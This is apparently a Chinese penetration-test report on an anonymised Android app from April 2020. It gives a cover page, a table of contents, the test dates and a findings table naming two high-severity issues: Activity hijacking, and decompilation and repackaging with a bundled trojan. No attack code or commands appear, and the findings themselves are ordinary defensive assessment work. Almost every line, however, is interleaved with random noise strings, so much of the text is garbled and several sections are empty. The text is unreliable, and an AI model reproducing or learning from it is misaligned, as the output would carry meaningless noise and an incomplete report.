. S8 m" z1 ?! p
8 U p' i& I! s7 T- ?
% w9 a8 p' _/ M/ A2 b
* S& M6 f( n0 n
- {$ J$ v, @7 E4 \6 d! y
( m+ F H. N& q. ]
$ S9 c/ I) u( I% Y6 k
6 O( J9 f- J2 [: Y5 l
/ f0 m+ x% z; T' p3 K" o$ p+ Q Q2 h6 p$ I5 ?: L9 w& T S
! \3 o+ ]3 b) ] e9 _% B/ D( J
4 R$ e5 N( [+ B, J 文档编号: # {! x% B# |7 R$ t/ i
! A5 S+ t+ r! B# Z/ N
9 I; y, S0 p' w! i8 d' d9 J' H$ e) h
7 u) N: a9 J+ J2 E0 Z; O. V ( x, H% k( U' o% |# M' a
+ z' X2 l7 M5 I! f- G
" G! m& B1 U$ ~3 Q) L) Q0 R. D
; `+ _1 D+ s$ o# `" H4 u8 }8 a
5 r K; P1 M5 V0 W2 S# ^/ X# u
4 V. o2 C7 k' K% w L9 |+ X- T
8 p, t$ g: K( P! z% t3 q% T+ p, e' G7 z1 A+ z, j! Y' I5 m3 \5 y
3 z) d; t) r. L# r; w3 y
* g. r+ D5 N% W! |" s7 @( N
' w$ `( e0 N- W
% i) `: x7 b5 I; {6 N1 x2 K+ D
+ R+ X0 @& I' U0 Y) b6 O
1 u4 @2 T8 F& \' S: {: W; I & z& r7 A5 i9 L {2 }0 T! E
: H/ }( c6 g y; \1 d1 b- j, `
7 Z: _2 @9 S# F$ q) O; \
2 X/ O4 u! I& @! d) x . L( J- _; e, x1 s/ @$ ]/ D% l
$ P! a# ]4 X9 @& f: G: `
: ~4 j& ? e( \- L, A% e, k+ Z/ [) i3 ]/ r( v; r6 O! C
' {) B* k6 s* d- O8 [
, f% D, {! v3 C, i) z
* L1 k4 U: k7 f. n% a0 n! D2 ?* `, ?3 D$ _) M- s
7 A: ?6 n. {# [
2 r& u) J) {8 @
( J5 G3 u2 @0 y& X: ^* P# f" r7 f6 \6 T, G1 B
* d2 ]1 A0 _; h# i4 w/ b" ~8 L/ |& n( H' C$ |! Q
某某某APP渗透测试 x5 s# j# t+ z5 H R8 T
: e: _# s$ n: P; O
1 t; x E4 C* i+ c& I" S& n( H2 \2 y
7 a/ S9 \8 H3 d- p u7 j# u0 Q
% p; e1 W8 _7 z+ n & h& Z$ M/ M) y; |' R, `- Z
& I1 W' Y) b4 ]* x- y
% |9 b9 Z5 y- U/ z* ~. v: o* U k; T, q) q, {9 j2 h7 g
8 s: @3 q5 w- ^
; S0 e0 U: N6 x, ~8 I5 I2 n% x
, f% E8 W y8 t. O2 ~& d% B5 T
6 f) f6 d6 {* A( m& _% i5 S
E% Z5 L4 [( Y; E1 ?4 C' U
' \7 g1 |% E o4 Z( B 2 R$ q. r0 _3 S7 m: v
0 D6 c* @3 x) z# _3 h1 ^ 4 L! O8 v- {0 k; g: `. ]5 |* K( F
0 O) u6 D/ H- u) {( c7 j: c4 f8 C% y) o
; Q0 f2 P$ v9 B9 D7 U+ i$ h1 l L
4 S0 @+ Z3 x, I( @( D# K$ h0 J& v; Q
7 h& R. |4 `2 W/ j* U, A, V
4 m X- L) j: n- t; g
$ [8 C7 a2 G1 b; S, [
9 Y( B, r5 o) h2 P" M
l5 W$ p. \9 b5 R
$ E) p# D# D7 o l* u6 T1 V* c# u9 [+ j, d u
技 术 报 告 4 c& O$ q7 Q+ r- ^
6 D) B' z ]% o' O {; x! C
% l) M7 X' L9 ?# r2 L0 w t/ H! P1 b
7 E: C8 q2 n2 P$ a' ]5 N2 S" X6 ~# S" k* f- D
# V- @) j& ]( W w2 w
) g5 y. _, a( N' k4 h
" }, j/ a; v8 a& E; k
. y3 y2 \' f" Q$ q. A- L
6 a& S! h. O7 Q- p
: a! O0 X2 l8 u3 [$ d+ p8 d: g ' F6 Y6 Z: D4 F9 a2 u: q
4 o ~9 f* d0 Q, A. M
* Z7 Z" [* b+ B4 Z0 \5 n- R' r
8 x+ R2 I3 X- v6 q: y8 [ 9 P' @( O( ?5 [0 d J
$ ?/ [0 [# q; Z9 k4 M- v. B7 y
* D( i& P3 z! Q. c. H" C3 |- }: Q2 m. ~! ?2 I6 y7 y% x: O
5 b. a( c/ ^& S! D& D9 b F
. b0 m0 s. g' R, D2 s' @2 E
5 |# q$ Y, h- X. k. Q3 j/ f# b( j l, T. ?7 x7 Q
7 M: s. E0 }3 E7 G- X) Q
% t; A' P1 Q% P- s4 E
- I* W) P/ k3 L: D( P
' K) R! I2 L, s* E9 ~2 ?: x5 _ , _3 U5 N" [% @
# U* R- R8 ^' z( `" L8 X/ `
0 t& w8 t+ t7 | g a% s8 f) G" `7 s/ m, ^* G( w! e: ^$ w
7 z' N! N3 Q/ n9 g7 a
9 ~4 Z, _& v. ]; q2 d, p/ _
$ F( n5 Z, H) n
" N: Z) m2 b, {; r( j, X 7 X' v6 U' s+ Y x1 w8 V& h
( u4 I" ^: Z# R% U5 \
5 M7 F7 Q2 ^6 d4 K) f$ q. d A; T0 \9 K
! X# I6 o3 l5 Z
( T% G! y+ D6 a+ S
* v, v6 h0 s. z( \! h) M- s5 c" G5 o+ R v. I/ V& h4 h2 J, v
4 h" t3 W6 s1 `2 \8 S7 t) q- ~! U: b: ~
9 [3 R* k/ U. I% b
) U; ]% ^1 A& } % X9 y& @- ^. m& v
}6 ^% F4 O, p+ N2 p
+ k+ Y! d. g4 l9 C, Z
# _7 [4 Q2 M0 V! P
$ D! K9 f5 c3 _. r# l+ {
7 U8 ?2 V' ]$ ]! F0 J ^' o; F( J" T$ L
2 V) s) K, }( n9 p4 _8 n% y# |
}8 D4 _$ C1 D+ ^: ]
( z/ E. ~$ W# M$ h% ]
. j8 X. z& |$ E3 T$ I7 I0 P* L4 j6 d |7 h
0 Y) k% V0 X- v Q. f5 `+ |4 O" B$ T
: g8 [0 l# D% E" |: E4 g" Q+ p2 L6 X9 t+ B( C+ I
; ?; w0 @" s* M, T" \! N% G1 _
9 E$ E/ x+ l+ z/ `
3 k, \7 G, s K! O; A% d2 `& `; g
+ `% B+ @4 `. ^8 G. O4 {
4 H3 e- k9 _/ U' B) p9 E
2 T) z$ F- a) y7 v0 e
6 r: T) e( \$ v' \* Z4 {; f5 A$ F) M Z2 Y9 n4 j
$ j, X8 J$ N( @% [; @6 V1 _
& H( F& ?) D O8 S Z$ d: |
+ a1 k3 H+ d) ?" T
& A0 ^3 o) `4 t - `1 J% t" f- I0 e6 S1 {4 S
, y5 n2 |% G+ F# y+ L$ Z8 V
& R+ ]% i0 s7 O) h4 R7 S6 X6 J6 x
6 ?; I2 G& }/ y
2 g3 D4 o" D4 Z4 Q, d+ O0 \
6 k' C5 J* S( }9 r5 E 9 o- ^ o) ^$ z0 \" b9 r2 T
# f5 B5 _# _) u* Y1 m( ]4 R
. o# |# Q% |! L9 a4 L( m5 {# P. _8 ^+ |9 n0 F1 ? t3 r
! D; s4 c, e! |: j3 V1 T
0 c* _2 z' D8 @% | , U: @+ u) C3 H) f; }+ y
3 C, L7 u0 t; y( h9 [1 g
9 X, {4 p4 t) t" F" V5 E" }+ Y) G9 \7 m
+ o( k5 v2 p9 S" R3 O5 t2 S" K* T
- q: ^3 h" [' G0 ^
8 y. |0 U" ^4 ]: H* G4 Y) B( j
3 d8 L7 a8 @8 s7 _6 Q: h+ b
4 f" g; T8 \8 N& Z
8 _4 [/ a, Y: X0 { ]8 G
, p0 h4 P* I2 J2 S2 E' z3 a
* \& |5 Z# e' n& H9 U3 r
5 k6 {& j) `& p5 F2 y2 w9 Y y7 J* Y! [" R# k" C& A
8 e4 d) s4 K; \
% F& h1 n5 d9 _; [2 t3 W
4 [2 W6 o. l+ i
/ n& ~4 z& K( N1 c 1 p( t( ^8 b' H5 W
! N) y7 h4 o p. R4 c4 X; \) H4 r) ` ! l4 i* M; ?3 y, M
- t9 a% k `& A; f( m R
T0 e5 [& a. e6 Y0 g& S: c0 Z
( ]6 w9 t: X8 Q; V6 s: G 2 B5 p; z' `1 |' H
( c1 e2 K+ @' j6 U
二〇二〇年 9 C2 i/ E- i% a s4 f. w0 U+ l" F
) j9 x0 T7 |2 {& v
& G" t5 q" i: d* w8 L0 M, Z5 ]4 ~6 ]1 O7 R* p$ c, q( ]! y
& ^. x6 y" k+ `2 A$ Z4 r0 \! i
* ?) r8 t" ~- D8 S7 @: E; G
& l) n- t0 C) L. W
$ ~) b' J9 {5 M! I. d: T" n! R6 n
8 o; {8 S2 M1 A$ @* z
2 P. G% y3 D# ^) `
% w/ D4 Z) o! @) Q& P
7 z) r7 x; K$ P
7 S3 l, S& m" V$ z8 y6 Q. |1 @+ i9 M" s, c. [# W E9 J, {9 I' a: z0 |
3 i9 ~, |& O+ a' x! B, U8 b% V7 F+ [) b$ F6 G7 ~2 D/ f/ y
- f9 q4 }4 L( H1 N' K7 V7 X8 N4 h/ k: d l( O
2 d+ a, Z# F; t/ B
) R/ y# H [/ C8 k
' S8 W' P* r" J" q& G. E f4 R
& J# w" M/ F, | 目 录 : Z) [" z, `% G! p' R
, e& Q: p( {: }' K3 | G
9 m9 {5 B6 B; ?+ i5 _
6 }, E2 X$ l* l
( q% P+ C- k$ v( m
) j6 ^6 B" r7 a3 d( ] F : j# O9 m/ a! I, V2 J1 ?& F+ l
! \3 B7 f1 S9 R4 O% J- `, q* b; \ ) |, [% I* u8 a5 c. B5 L6 y
: O% M0 E) `" Y. u3 ~+ j
! M/ s+ c$ A/ e8 l% I* R
8 ?' X* r5 _* X! s S7 o; T( B
$ k. g3 I5 M! p6 z) G9 z- H
4 `& M1 O1 Q* b 1 概述... 3
6 @3 Z+ Z( S$ b$ q7 C) g2 H; e# B7 \8 d$ p7 k: m( H- k9 _& m
* t7 i$ p4 a t
% {- K+ a1 n! m7 @2 G* o$ G0 A/ ~( ]( J # X* r5 N- w! \( J6 C* |
$ o$ W3 ]5 s5 U: p
1.2测试时间... 3 4 M3 x O! t9 O' t% h4 f
* I* p! U. b6 a& ^ P7 y
* c( M' m4 L0 x6 J4 z7 c+ S+ B+ R# t. o* m6 B& K8 }2 O
+ e" B, A, @2 S; a. ?8 Q( j
& [ Y9 G2 ]9 } 1.3测试对象... 3
: w( ~# C, O/ X& f8 e8 M: J
( x- o& h: o" J2 m
# f) U. K. ~- q b
7 k3 ]) @. s G: \ `# u' \* h# f O" x# P5 ~
# s8 f1 n# |+ z4 I1 O 1.4测试结果... 3 + o5 q& S) Q) ~7 T! U S1 X" y
& k: z, C- y- F1 u. u
5 z1 R; K1 h6 [) w4 u/ J4 ]+ f' M* C" ?7 F4 y% Y* }8 X3 D
7 M" Q/ N* g+ S% @" |
' J5 z# ]" U# t- W. W# B4 _# A 2 检测结果... 4 ! j/ z2 {8 v* a
. \2 Y0 i1 z+ K6 s z
# a/ ?$ P! Q& r, U' N
0 B: {' Y. q* H$ s C, L+ t
0 N6 ` J+ F+ v0 O" `
$ s: B9 _/ P0 W% [# A 2.1 某某某... 4 0 T0 o7 m# ^3 L! [% {
$ q |, A1 f# @( O
; C9 O. K% b( V% |* e
7 e9 ^5 k3 n+ u' i+ n K( U
' d# j# F2 E2 ^$ Q3 g
: b* b2 R8 o) `& x2 Z 2.1.1检测目标... 4 4 u( ?& R Z1 n7 C) r
+ z2 S( S* y b+ J0 f3 W* h" d3 i/ E
6 d! Q5 g* j- }" u( y
" w& G9 U# h! k6 L) q* T
* L* W- w" j2 d# c5 _& m& z1 @
2 R* [0 v3 ^% {) P3 D; i
2.1.2检测结果... 4 7 J, M2 t2 V) @
$ B, Q Z3 T. i4 \
% g% g5 h0 h- q9 k k' S/ D# }" A7 q! p5 M7 |/ p2 n
( c0 ?) ^$ z. n# }: t
. G s* k! ^5 q2 G9 F9 X% m 2.1.2.1. 4
$ N( v, o) [8 E0 e' ]: D2 O% L$ Q# @4 h
8 J# c) |3 F+ r, U' K' F$ G
3 L$ {: `; ?- \3 s4 g; L6 J. }
6 \1 g/ A2 U9 g% S% u. u4 w2 a0 i" c
2.1.2.2. 6
* ?8 \- M9 H5 C F8 l! ?' k
5 U7 L# u+ @: q! s( u% Q
! U$ H& T; z5 f2 `; s6 V Y% \! r; `$ f
4 a( t- F- I. F6 I1 o4 x, t
$ ` I7 L' |7 f0 [2 i0 p / w6 D u1 x# M7 |# C
5 u+ Y# n1 Z1 ?3 D4 c0 y/ |
( h4 \5 H. r4 H3 \
/ w3 g0 Y- K8 V' L; u: r" F
0 N* ~. C3 ]! p9 ~, p* J- L7 r
% J! ^8 @! p0 h# i9 \ $ x4 i6 V# N2 z2 C. i) R$ N
$ f* h9 G# j( O, ]
} @; `. P( E( k" n4 c0 k1 ] w
. } ~& A6 q" E8 i2 `% N1 x* I( V: R
2 x$ K2 G9 M8 o( Z' j) K
% B4 K5 J- z* V2 S- i! K : q, _. z! r9 O3 |# _
+ L+ f6 T2 U3 r3 \ P4 v* R7 ? 1 概述
* w( N" I: D8 c! ^1 q: h' z
0 c( J3 t/ k1 L0 z: N
: k Q! f# r6 [- G+ @
) r. D9 A8 r* w& o( a( r7 x+ m
: C! l9 S y/ m3 P' \" q+ |/ O4 h, @, }
1.2测试时间
5 ^# c4 {" Y- J( r# ^. u) Y9 M; u
2 z$ A" _# H7 m0 e1 ~& r! @; p0 v8 m
( K& I8 z; S" b, H' t1 J: S( B
! [" m9 X! I9 g2 C: m2 L
# g# Q8 d! P& n3 j / `7 M* S# y7 A) }$ ^
3 E; s& Y# T, O9 \7 J1 F0 j) H
6 r# H4 ~" V+ e# X! ^2 A' U+ \, D) R. n; K8 ]( a+ o3 V. K# H
|
x0 `, d2 p* [) F" s" g% X( b/ ~% d7 d% D
, F L% V9 q9 J) K! Z, ^
* ]6 |0 G9 T @4 }) J 渗透测试时间
: t, s7 k, `+ `$ k$ U* B% w, M, w- L: o$ N3 V/ L0 a
; C1 l6 l! Q+ j1 G1 d1 N4 l4 T1 \) ^' V) X% Y, U$ e/ H( C
| 5 q# {* Y# C5 @. c
c, m0 ?6 j8 W4 m% @9 `$ P( z! f
) H5 V6 \" l$ ~& I2 F# w) a, |" N
" a" n% x+ u& j+ {' n
4 n- E l/ Q1 e Y( D9 B6 g* y& d' S; r* |4 c& [7 L
| 4 t; j% O5 Z7 C7 g! ~+ G, ?
, [/ `2 c3 I/ i4 B: @ & g6 }+ g# i5 ]9 }
: k: E" @; t( D7 G6 M 起始时间
" _) g9 e* W1 @9 R7 B% s
+ l" \: F: F2 r9 R4 `
8 K9 r2 F9 Y! R7 S/ r; ]8 u8 U/ I/ @6 i
|
y2 f k2 ^; I9 k) r' w* ?" I" H0 I' L* N; c
* P3 O% Z5 z2 f, f) A, _$ C5 f8 v" y0 q: |# ~0 J \* i
- Q: I# O8 z" d& V! W: N0 I. a
9 A3 X3 d' n" }3 ?4 J" D/ f6 ~ 2020年4月6日 . s! C4 g0 i5 X9 _; D
5 a/ ^; H; T/ Z- O
. U0 L" W# U; F$ U% ^
4 M( N4 I5 g: c
| 4 l$ i/ x& {4 g; j: c2 {
0 y6 `* T6 K1 K E3 |" i
4 }; ~+ { C$ g9 Q! E
+ F' R+ x$ ~$ r& `3 Y& x
7 X. u# E$ }& O7 r- G- x' Y, u" S: |
|
5 X( ^ _: P9 Q
) p9 m# g9 ? ~# W2 ` o% A7 ^( ], c
- z$ Y# V3 K+ {! K# M' P% ~9 Z
结束时间
1 d) U. L; L" n1 u# ]+ B# [" |5 L- a2 X! J$ o0 K9 j) o/ k
1 A8 u; _+ s, k5 l0 e6 Y+ m$ O U) c& W: |/ R: z& m8 A* G* E
|
) q" N) b7 F6 v2 S5 h l
' `' ?* v" T# x7 W5 @ 2 {: x$ `9 O; w( ?; J; d1 r& P
5 s* C: @6 j/ z7 j
8 j K9 h$ E- o4 F$ N) H5 F6 e5 A2 B5 ]( U# o8 I+ N: E
2020年4月9日 6 ]6 D& S! o! [; X& E3 l
; |7 S. ?, Y* `5 p
2 C) v4 r8 Y! U, s# j1 K
. Q4 I) Y: X: A |
3 c9 P0 ^: s I5 e- M* {6 T( Z2 y4 d7 k1 b
2 o$ g% \2 l0 T) M# W% p- c
6 u$ P' i C8 h% D5 a
0 I0 N& s' Y; b# E3 P
8 S& a4 A$ H: W) ]2 [* w
( F, \" W. e9 x1 C/ m' G
2 p3 \! P1 _3 D- C3 I ~! @8 V
( @, ~) {: w8 i. |5 f. n$ Y% S
0 J4 b# c. [/ w0 p3 G6 B 1.3测试对象 3 ], k- `/ r8 x$ K9 P. M) z2 N# W/ z
! t: r6 z; @8 S5 |0 t9 s, ]8 ~8 R
H8 f* ^9 m! I; h
Q& x3 T- ~. ^$ O6 W* b; J
& \( M3 ?* j8 ~8 n
O: y) G. Q; B' ?8 r 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
9 t5 w4 Z" k, ^9 {8 N
2 F* ^8 U& ^" M" D1 [& M3 j$ r
k; Z! }: a9 p7 M" a
9 M* i* K+ b$ A6 l$ Z, N
: x7 M' b: i0 }+ Y% C) a& i' @0 z3 J
7 B) |; [2 o& h7 W% H, t/ | 表1-1 检测对象
" U' T. P9 H- L8 {
% U! k( `3 ^1 Y1 b
2 ?" J" n7 G- ]# E
$ ^1 q: h9 _4 k0 Z: k
2 X3 G+ w$ x6 k$ z5 [2 i8 m0 m3 m/ a5 [9 p
' H6 M% c. [( [ a) _) m7 q" A8 X3 G) F, h$ q6 b3 P' k
& D; J7 r0 C2 N, Q: u2 ]; A) q* H6 u# x; a# n
| ' \* a. ~6 W" T7 m. h
+ @5 ?3 X& s! \
3 j) Y( d$ H4 F$ Z. N/ a' Y8 k
* b6 X# O4 g4 R3 q 序号 6 X* l; f8 Z. H2 N. p) R5 _- T6 R7 g
1 M; {! h; R, b/ K5 r6 T( b
1 A9 K5 }2 @; H5 w6 p
5 C2 Z& @, Y7 r | 6 v# |( M7 C, C; G
% O1 H3 ]; R3 @ }8 H
6 i$ S1 A$ e. V
' U5 A! a2 H$ @7 M6 O% F7 j/ L7 K! S
$ e$ S+ F4 ]; j- V ^/ ?/ U* P" O9 H
测试对象 5 ]* s w8 M4 v* N9 w$ E
' r* l. X; L C C. o0 u
/ y" Q v% n. q
8 z* |/ j/ t0 u7 J7 v |
+ o( @+ p+ \& C* x( W( C# f" \- }* v
, A' \2 r/ q* k: _9 y/ v/ A2 {" v
: b" Z) ^- r9 U
8 x& _7 V. k, A5 O5 A( Z
7 Y& E; i3 }9 B( f# m) C8 u" F- B1 J/ {4 |
测试地址
3 n. {+ m+ A9 G
# U) u) V% C( x
) s4 g8 m. I* f4 q
1 H+ W9 _/ m! }9 f1 X | * E# _9 f) E- R
; I8 I7 W8 ^; N) U* e' d7 P : z7 u8 L7 F" [5 G
1 K' _! l6 a4 i1 Z" @
! u; y. |; E9 k; K8 { x
- U2 Q1 k7 M9 s 安全漏洞
% Q: U3 w, ^3 O7 A
+ J! V6 @0 N1 p/ t0 k7 @ 5 |( C, {+ T3 E2 G& S
6 Y1 f+ A3 L' r: c3 K C |
# U& x' U6 W) W0 I4 ^7 F4 @( }" T3 d5 M! O+ w
9 k4 L9 ]) S- c. Y1 X4 f' }3 @
) K6 C; F- _$ ]5 u }- c' F; x0 e ) M/ x: O& C- T3 x
9 S" v2 Q0 c. N5 l4 l |
' Y* X4 f) I: G) S/ ?, \
/ f! F- A9 ]0 y% a, i1 P7 i
1 h2 F/ N$ `% C% p, H( R$ R; O' L
" {9 w5 s6 H) d' h 1 7 i K, q' n! f5 c* G$ \* b
/ v" F7 }& t% Y6 F
7 O$ g" j7 q- H* b* ]; y8 o, f5 z5 ~; h3 m/ M! B: O
| 7 m- I0 L2 t) I/ W# O) W
4 g5 b5 h$ p! K
. O; _8 M# O$ g+ }
; d4 n) _5 j' \ $ C! \3 Z2 B8 W5 ^ l
' m. K0 @' E3 u' {( W0 C
某某某安卓APP 3 e2 p- t, Q7 {/ A' K; ~) n
' u) X1 n8 @3 S6 V
' l* ^! Z1 e m! e! v
; Y% t# _7 G8 ^2 U! ?
| ) l0 c+ M, W5 m3 Q5 M6 ]# x
) D5 K' c, m* v% B, P
! j- t5 c0 F9 [4 V) k( l" o) i' i, K) M# e" }
8 I& Y1 T6 {" ^" [0 m9 n
$ Y0 H% ?! H( y% X5 N
- z- O8 a) l& V5 q6 \9 e. h, n% }7 h3 k! t9 _
* H- m3 f! n& m* g$ h# E
0 f' G* D9 Q% b4 l5 X8 z( |) |" E$ e
| - t7 ~0 H" l! n1 S% ?. h- P( X- [: s
) g0 @3 `1 G( B% j/ z
9 b( U0 ^- t8 }8 n7 x% A j2 v2 s( D* E3 k' A/ m; M7 _
' X# q/ m' y/ M% F* D
% t: g5 z/ n9 F1 h8 F 2
% P' m* c8 A4 t2 ~2 B9 _# R
7 [7 ~2 y' l7 w6 l) @ * q y$ D2 x& X$ d8 ?( x
3 U% v% u* g* S! l* d& h) Q | $ g0 b5 h& v1 \1 e
! C8 @7 ^! @/ x* V1 E
3 V. [+ [: c; g" f
, w9 i# s4 y- z! b' i# W$ V/ _
0 q$ r' a7 \& V6 N
2 Y3 y' Z5 j* s0 n4 l
u5 a7 l1 p9 y" a! z4 N7 q8 y
0 r; m# X/ l6 T2 u! q+ J0 M
! d( m" a6 G! U* P3 G/ I1 P 1.4测试结果 , n \" A1 Z; o6 j
; ] S- o: T) f0 H g7 J' d
# U: S' I2 y: {" C
8 M0 [ j) y& t' N 6 X2 d6 [1 t( d, Y$ e3 t1 _$ e
9 r0 h" S0 Z& c k8 B0 Q
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 1 L [8 ?6 v+ R% n0 b2 ~
+ p+ U4 Z& d& H5 R; L) F
6 |! l0 g/ k: N. s4 d; i# r
# T8 g( C) h' z# A N 9 b6 O: F; F' ?0 B) [6 j7 d# H# T8 \
1 U+ U1 f7 | V: V7 r( }1 h ! f# r( s: {; V' r
( s5 \6 K- j! Y* R) Z
8 i# e- e' U: h
4 u7 A; [( ?( B5 R8 W( p4 b) i/ z # b' |$ K) ?2 Q- A& l+ u" I6 i
+ j8 n4 ~, i% M* z4 C
3 U2 W& p4 g |. D) @$ m( g
: R! V# K9 F( N, d- a/ G5 X 2 {8 q3 M5 T* p: U$ Q# ?
2 l# J5 _$ j4 X5 | O- \+ Q$ ^ , i# J0 q% p( g; @, S8 A9 |
0 F, p2 `. s- ^
| 3 z& r0 H+ P8 I7 ^; `
5 r- _) T9 [6 z ) V9 m. s: y: M" M6 V% u) K J- H
) `8 [! s, F( c1 b! Q
序号
, s0 J, a! f+ ?1 J, `. e3 U6 d" P; w. {5 Q& D) ]5 _
, J. l" [6 b: l6 {+ [. N! `/ O6 ~4 O3 k2 m# X. f
| 4 t% G- x, o5 M! {( ~
5 H& j9 A7 B& _, s0 q" w& j f' E% @
+ z! G+ p! f7 Z* C2 k$ W; z+ k' v6 F
! c8 q! B, Q9 k" u( ^
" l( Q k8 T0 O8 p# E5 Y6 t
系统名称
' h6 ]% o2 z6 u3 `' S, G6 e( ]0 ?9 G x4 h7 p2 } t5 ^) l3 d5 n
% B/ Z/ \0 T9 [/ @5 \2 K& D% y
7 R4 s5 o+ T6 L* W6 F | 9 c( G1 \) ^8 u1 J
5 { R9 e2 M* h8 L
" `& u- {6 r4 O n$ Y# ?$ j
7 O; E( M" w+ ]7 R. J
2 m5 o) m8 q9 R* U2 P' Q2 F& }8 F8 R
漏洞名称 , a* S6 B4 `, O3 L& o. Y% U3 G; K
- M4 e8 h [; Q" K
7 W% e o8 b {6 s# z0 Y$ B
4 t; U! H7 z' c# |! { | ; E7 S* ?3 W3 x7 q3 M1 g
4 c. b/ a+ O& T/ {& [- c- t/ u7 _ 9 g* w# a+ k. q) S Z
( O5 |" \7 @7 u/ T 8 x) M3 c- p ]
/ l3 q+ `, D# O% x3 ~# s 漏洞危害
( f) P0 ]* E0 Y& l2 h# a2 o; X+ b* H0 Y x5 J0 K5 w
3 I9 f! |* W7 v! r
3 K3 o* v& L" N8 ?5 _# r& v
| 7 e- G& u, C4 r- q, f4 y s+ z
4 D& E3 A+ S0 \" V; l
6 {6 ^( }+ w6 a; m
) y; W: P) h+ ?# q5 h$ v/ e: x, C , [4 N% v& f" ?2 d+ |9 q" K6 G! p
% _$ t5 e5 u) @8 T; i( W: _ 修复结果 ) T$ g! L8 v: Q1 e
( r3 {& Q7 ?6 t9 w
6 {; y, R6 O3 N( P9 Z9 s
7 a+ k' C ]8 x6 z% X2 U
|
T/ L9 U6 l; N$ w+ A" W3 M! M# K. X* q
+ H) G6 o9 o7 E4 ^
9 @- L# v- {) ^
1 z9 E& G2 h8 D: n0 ]; Z3 ~2 Z3 V9 _
| $ [2 I9 a& a6 a
5 e C2 U) L- g, S6 ^4 [ B ( z9 p" n6 A9 c( v7 E' N3 @) L
9 E( V4 I. l# }: q3 y 1 $ a3 Z+ @+ H+ X
5 ^* |- d D* H, F9 ]! ~) T7 D
% b$ r- j. e/ M9 a$ k2 j9 ?/ y" j
% M9 e; {# m% e3 e+ L | ; P0 y4 @+ a) x( H K/ V( E
9 v( T7 T1 r! D! s! O. P ; C6 K6 ^7 Z) _! o6 J1 _8 s
! A" P5 D- b4 Y7 k; W: Z
2 s* n. \& t' @9 D1 a" D8 T1 A- p! m% u/ B% n
某某某某某某APP % d7 {. ^( q: @: p, `/ c
& V, i( ^7 K: m k) h
K% j9 K. m; A9 K
) z) x4 m. ]7 u. K9 l | . I: |% X; W9 _6 Q# d- { E
+ L5 G2 G6 X1 g, S$ x4 X# r! w) |6 h / ^/ |, D8 B6 ^' n) N3 W2 N
; N+ m) V' W- D( \& l
5 A7 Q1 b5 v' m. _( h3 e, \
) W7 |( Y5 R s# c2 W2 J: y
Activity 劫持
1 |- l' }* u! R- h o6 X s) Q
: t. ?" D+ S. v" ^& j
* i; D0 B$ ^5 r: S' J0 P
: X) W x2 I4 B$ E X$ M! s: H q 4 D- B- w' G# X* u6 l+ @, g0 W
, T' L. E+ z0 ^9 V) t4 o9 [ ? / Z: z- g4 Z9 S7 b$ C
8 b* Y) T. ?3 [7 N5 P
1 o, C( \- t$ R1 J
, K5 G9 ?6 b4 E) @8 | | , R- M! T1 w+ e X
0 ?# W. e5 c+ X0 S8 i$ r( z * S6 j; b8 u. U3 z
3 d2 L$ X; K$ J% m
; d# \7 U! V3 j4 G2 u5 q
8 _) s* j' h6 B% W3 l* p/ h& o
高
) b2 z' m2 N7 O; Z7 v" U6 S# ` R% n7 w" u
* z7 g) r& [/ B: A Y5 p
5 c T/ K+ f B | 1 }0 |# X: R! X/ B t" g
5 q4 p# u) ?# f( B0 U6 x
# x3 ]+ f! P; R( q/ z" G9 ]* b
# G* z( ?: ~' } T; k . H o' Q. F' w1 Q
& ?" O. I0 ]3 _ , M# G* y2 ~# @$ M2 O$ p2 [5 q& T
- K4 u/ {9 A- c9 G- I# Q- B
8 x) }7 B; c* \1 a. {0 W8 y
4 a, B1 R: L" N5 ]! Y/ w- P
|
5 U1 i3 m; S% y7 W6 z; ?! j( D8 }6 l, D. }/ u
& S6 ?. E4 {+ p4 ]4 P7 p' z1 ]) f* M
$ J7 B w; K$ Q: e: Q# d# M
+ k0 Z* \( _1 Y. V- D
) x) y0 `6 S, n+ v* X% m | - o% r8 |$ A, k" A. t
* M7 P. h$ `% U9 L% X6 o q
: v1 q8 f0 Q( ~3 A
. w/ I1 Z1 ^: C* b$ h 2
2 P4 s8 O; L3 S3 E1 d6 m7 F
; X. i" t7 g, o* R+ j( V
- r O# A$ i; Y1 v3 R& R
$ l/ f8 n- g& B9 q | ! V, M9 H0 S0 } g- |
# H3 D7 @- l |
% r/ ^: h" H: i/ Z0 c' z. V( A- Y
( g0 s3 O9 V% s: z
- e" k/ N5 ]! O! e
( ~' N" b* r7 y: i k4 f
某某某某某某APP . k2 g7 K- h. G& Z6 _
" Q6 K# ?& g$ d
3 z2 L: s, H8 N3 ]& I
/ k! A1 W [: v" z |
& ~ x3 h& f- {5 m5 a: R& ]5 h: t* y Y" j3 z+ J* t
* H4 D8 L1 G/ M7 Y* W- F) C8 n
1 h% V0 _7 Y) L0 a/ i 2 X B* q+ n7 z2 V6 ^: B2 g9 {
: ^+ Q. E2 t% s3 f& @# Q: K9 r 反编译二次打包捆绑木马、篡改APP代码 0 [( R7 n( q* E
$ C9 G& L2 e% x5 @7 i
! W" G% }8 H; c0 y
% h N: B+ u. A7 x u- x7 b
| 2 t- u3 F# w8 V6 m8 Y. c1 o# M
" C2 p1 a6 D" R& f' P7 B. f2 T% ~
, o- Z8 b4 x2 i- I. s0 p+ w
: d$ Z3 {# ?4 p
) d; j* k6 t2 b* }3 g9 l
* p& r9 j6 V4 s$ q* \
高
! |; H/ N: t: R4 q# L- c% m$ V) _2 w4 k
1 l3 Z& }( d' `9 Z! a) N1 d
$ w8 {! |' a+ O" e* h | - I6 r' y. w, v
* i' k; m4 O1 D. K% `4 v" j
- f2 Z* q8 w& L$ I
- ]9 ^3 E2 g3 U: [, r
% i- R0 F' f; g+ w' t2 R5 I! P7 Q0 a4 F' ^4 R
7 [6 e: G( m) g( H' p; ]. ?4 g1 Y' H7 L' C: |9 o9 |; M$ I
, {0 D8 G+ x$ a- M; I
: D4 ]5 _$ ^# Q4 g |
+ t) X. L; X- y. h: o' a* O5 m: o9 }
! H; h# Q M" X' a
) M7 |+ J+ M+ C/ t0 Y
# \6 y2 W. ]8 t$ A# A9 X' m F) |* z$ L+ e0 K( _
+ w2 D$ W! P) l( y( z# B+ }+ R8 u, v6 `* H2 ~
4 ~& g6 }4 |9 k5 S7 k2 w
0 n; L/ j/ o/ O8 y; J
* U! _2 L- t3 u6 [& D$ L% o3 v w; T$ Y% g; b3 Q; v4 V5 p7 }
. g+ U0 ~. x: a% d$ @* A4 Z
* z3 x- B) L c+ Y! c) k
